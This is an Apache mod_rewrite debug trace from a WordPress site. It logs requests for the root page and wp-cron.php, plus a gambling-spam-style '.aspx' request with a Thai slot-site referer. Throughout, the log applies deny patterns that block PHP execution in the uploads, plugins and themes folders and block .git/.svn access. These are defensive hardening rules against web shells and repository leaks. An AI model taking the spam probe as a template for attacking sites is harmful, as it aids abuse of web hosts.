[Mon Nov 10 18:37:54.189873 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189888 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189899 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189909 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189918 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189928 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189938 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189952 2025] [rewrite:trace5] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189962 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189978 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189988 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189998 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190014 2025] [rewrite:trace4] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/pgzeed gold.aspx' pattern='!-f' => matched, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190028 2025] [rewrite:trace4] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/pgzeed gold.aspx' pattern='!-d' => matched, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190038 2025] [rewrite:trace2] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] rewrite 'pgzeed gold.aspx' -> '/index.php', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190052 2025] [rewrite:trace2] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] setting lastsub to rule with output /index.php, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190068 2025] [rewrite:trace2] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] trying to replace prefix /home/vetstars/public_html/ with /, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190080 2025] [rewrite:trace2] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] trying to replace context docroot /home/vetstars/public_html with context prefix , referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.190089 2025] [rewrite:trace1] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] internal redirect with /index.php [INTERNAL REDIRECT], referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:38:21.258004 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258081 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri ''
[Mon Nov 10 18:38:21.258096 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258106 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri ''
[Mon Nov 10 18:38:21.258123 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258133 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri ''
[Mon Nov 10 18:38:21.258145 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258158 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri ''
[Mon Nov 10 18:38:21.258168 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258193 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:38:21.258203 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258213 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:38:21.258222 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258230 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:38:21.258239 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258248 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri ''
[Mon Nov 10 18:38:21.258287 2025] [rewrite:trace5] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:21.258287 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258305 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri ''
[Mon Nov 10 18:38:21.258332 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:38:21.258344 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri ''
[Mon Nov 10 18:38:21.258361 2025] [rewrite:trace1] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d90002970/initial] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/
[Mon Nov 10 18:38:21.258738 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258809 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'index.php'
[Mon Nov 10 18:38:21.258821 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258840 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'index.php'
[Mon Nov 10 18:38:21.258850 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258859 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'index.php'
[Mon Nov 10 18:38:21.258868 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258876 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'index.php'
[Mon Nov 10 18:38:21.258885 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258893 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:38:21.258902 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258911 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:38:21.258920 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258928 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:38:21.258937 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258951 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'index.php'
[Mon Nov 10 18:38:21.258972 2025] [rewrite:trace5] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:21.258982 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:38:21.258990 2025] [rewrite:trace3] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'index.php'
[Mon Nov 10 18:38:21.259012 2025] [rewrite:trace1] [pid 9262:tid 9271] mod_rewrite.c(505): [client 20.57.20.12:55328] 20.57.20.12 - - [vetstars.com.au/sid#2906e48][rid#7f5d900b1340/subreq] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/index.php
[Mon Nov 10 18:38:23.987620 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987676 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987689 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987698 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987707 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
